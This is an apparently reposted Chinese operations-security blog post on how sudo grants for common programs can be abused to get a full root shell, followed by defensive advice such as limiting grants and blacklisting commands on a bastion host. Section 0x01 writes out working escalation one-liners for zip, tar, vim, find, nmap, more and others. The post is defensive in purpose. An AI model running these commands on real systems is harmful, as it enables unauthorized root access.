运维安全之如何防范利用sudo进行提权获取完整root shell

栏目: 服务器 · 发布时间: 6年前

内容简介:在日常的运维安全工作中,经常会遇到开发 OR 测试 同学要求: 我需要在某某服务器上运行一个东东,必须以root权限运行,请帮忙处理下。怎么办? 直接给root账户,让其搞去? 不存在的,但凡是个有章程的公司都不会共享root账户,比较普遍的做法就是利用sudo (Substitute User and Do 的简写)给其临时授权,可以临时让其以root 权限运行某个程序。 但是运维的小伙子们,sudo 授权可要小心,不能求而不拒,什么程序都放行,不然可能会被别有用心的人恶意提权成root账户权限。 下文

运维安全之如何防范利用sudo进行提权获取完整root shell

0x00. sudo 是个啥

在日常的运维安全工作中,经常会遇到开发 OR 测试 同学要求: 我需要在某某服务器上运行一个东东,必须以root权限运行,请帮忙处理下。怎么办? 直接给root账户,让其搞去? 不存在的,但凡是个有章程的公司都不会共享root账户,比较普遍的做法就是利用sudo (Substitute User and Do 的简写)给其临时授权,可以临时让其以root 权限运行某个程序。 但是运维的小伙子们,sudo 授权可要小心,不能求而不拒,什么程序都放行,不然可能会被别有用心的人恶意提权成root账户权限。 下文会详细介绍如何利用特定的sudo 授权程序进行提权。

0x01. 警惕常见的可以利用sudo授权然后提权成完整root权限的程序(命令)

1)zip

运维安全之如何防范利用sudo进行提权获取完整root shell

test 用户是个普通用户,申请sudo 授权zip 命令

然后执行:

sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

成功提权成完整root权限

简单解释下 提权是如何实现的

-T 表示测试test.zip的完整性

—unzip-command 与-T 一起使用,可以指定自定义命令 用于解压test.zip(测试用)

利用点就在 可以自定义用于解压test.zip 的的命令,当然自定义解压命令是以root权限执行的,这里指定为sh -c /bin/bash, 就可以以root权限获取一个shell

2)tar

运维安全之如何防范利用sudo进行提权获取完整root shell

test 用户是个普通用户,申请sudo 授权tar命令

然后执行:

sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

成功提权成完整root权限

简单解释下 提权是如何实现的

运维安全之如何防范利用sudo进行提权获取完整root shell

–checkpoint-action 选项是提权点,可以自定义需要执行的动作,当然是以root权限执行

这里指定为exec=/bin/bash,以root权限执行/bin/bash,获取一个root权限的shell

3)strace

运维安全之如何防范利用sudo进行提权获取完整root shell

简单解释下 提权是如何实现的

strace 以root权限运行跟踪调试/bin/bash, 从而获取root权限的shell

4)nmap

运维安全之如何防范利用sudo进行提权获取完整root shell

以root权限执行nmap ,然后nmap执行脚本,脚本执行/bin/sh, 获取root 权限shell

如果是老版本的nmap,还可以换一种姿势利用nmap 实现root 提权

sudo nmap --interactive
nmap> !sh
sh-4.1#

5) more

运维安全之如何防范利用sudo进行提权获取完整root shell

sudo more /etc/rsyslog.conf

然后键入

!/bin/bash 即可获取root权限的shell

同理的命令还有 less 和 man (sudo man ssh)

6) git

运维安全之如何防范利用sudo进行提权获取完整root shell

sudo git help status

然后键入!/bin/bash 即可以root 权限运行/bin/bash, 获取root权限的shell,原理同more

7)ftp

运维安全之如何防范利用sudo进行提权获取完整root shell

sudo ftp

在ftp交互式接口下键入!/bin/bash, 便可以root权限运行/bin/bash, 获取root权限的shell

8)vim

运维安全之如何防范利用sudo进行提权获取完整root shell

sudo vim -c '!sh' 可以直接以root权限运行 指定命令,这里可以直接获取root权限的shell

9)find

运维安全之如何防范利用sudo进行提权获取完整root shell

sudo find /bin/ -name ls -exec /bin/bash ;

对于find 检索到的每一个结果,都执行/bin/bash, 是以root权限执行的哦,很方便的获取root 权限的shell

10 ) passwd

运维安全之如何防范利用sudo进行提权获取完整root shell

sudo passwd 可以更改root的密码

然后su –

输入修改后的root密码,就可以切换到root shell

0x02. 如何防范?

这才是我关注的重点

必须得说,这个不是很好防范,只能尽量减少风险

sudo的配置文件只能限制那些用户可以使用sudo,可以使用哪些命令,但不能限制用户使用这些命令进行提权获取root shell,我们设置sudo的本意就是让用户能临时获取root 权限执行某些命令而不是永久获取root shell 并可以root权限执行任何命令,有什么好的办法的? 我总结了以下几个方法以期能减少sudo 使用带来的风险

1) 不要安装某些 工具 命令

比如strace、ftp、nmap、tcpdump、except、nano,这些命令都是可以实现sudo + 命令 提权成root shell的,况且这些命令都不是必须的

2) sudo 不能滥授权

授权之前,必须仔细审核,能不授权的授权,多考虑替代方案,必要的才授权

2)其次使用堡垒机拦截非法命令

有人说将用户加入root组,不存在的,加入root组并不能保证用户以root身份执行某些命令。 最好的办法就是前置堡垒机,在堡垒机上进行非法命令拦截,经过我的一番探索,在我司的堡垒机(基于jumpserver 二次开发,研究过jumpserver代码的对下文代码应该会比较熟悉)上实现了拦截非法sudo 提权命令的功能:

代码简写如下:

运维安全之如何防范利用sudo进行提权获取完整root shell

data 即为解析后的完整命令,通过正则匹配来检测是否有非法命令(黑名单思路,故有可能被绕过,白名单不知道咋搞,有好的思路的大牛在下面留言中指点下小弟)

0x03. 总结

如果获取了对于某个命令的sudo 授权,则有可能利用sudo获取root shell,所以在审核申请人sudo 请求的时候,一定要留心。当然还有很多其他命令可以实现0x01 提到的哪些命令所实现的root提权,比如 nano 、wget (通过写密码文件)、tcpdump等,如果大伙有更多可以提权的命令,不妨在留言中补充

本文参考资料:

http://touhidshaikh.com/blog/?p=790

http://blog.securelayer7.net/abusing-sudo-advance-linux-privilege-escalation/


以上所述就是小编给大家介绍的《运维安全之如何防范利用sudo进行提权获取完整root shell》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

深入理解LINUX网络技术内幕

深入理解LINUX网络技术内幕

Christian Benvenuti / 夏安、闫江毓、黄景昌 / 中国电力出版社 / 2009-6 / 128.00元

Linux如此的流行正是得益于它的特性丰富及有效的网络协议栈。如果你曾经惊叹于Linux能够实现如此复杂的工作,或者你只是想通过现实中的例子学习现代网络,《深入理解Linux网络内幕》将会给你指导。同其他O'Reilly的流行书籍一样,《深入理解Linux网络内幕》清楚地阐述了网络的基本概念,并指导你如何用C语言实现。虽然早先的 TCP/IP经验是有用的,但初学者通过《深入理解Linux网络内幕》......一起来看看 《深入理解LINUX网络技术内幕》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试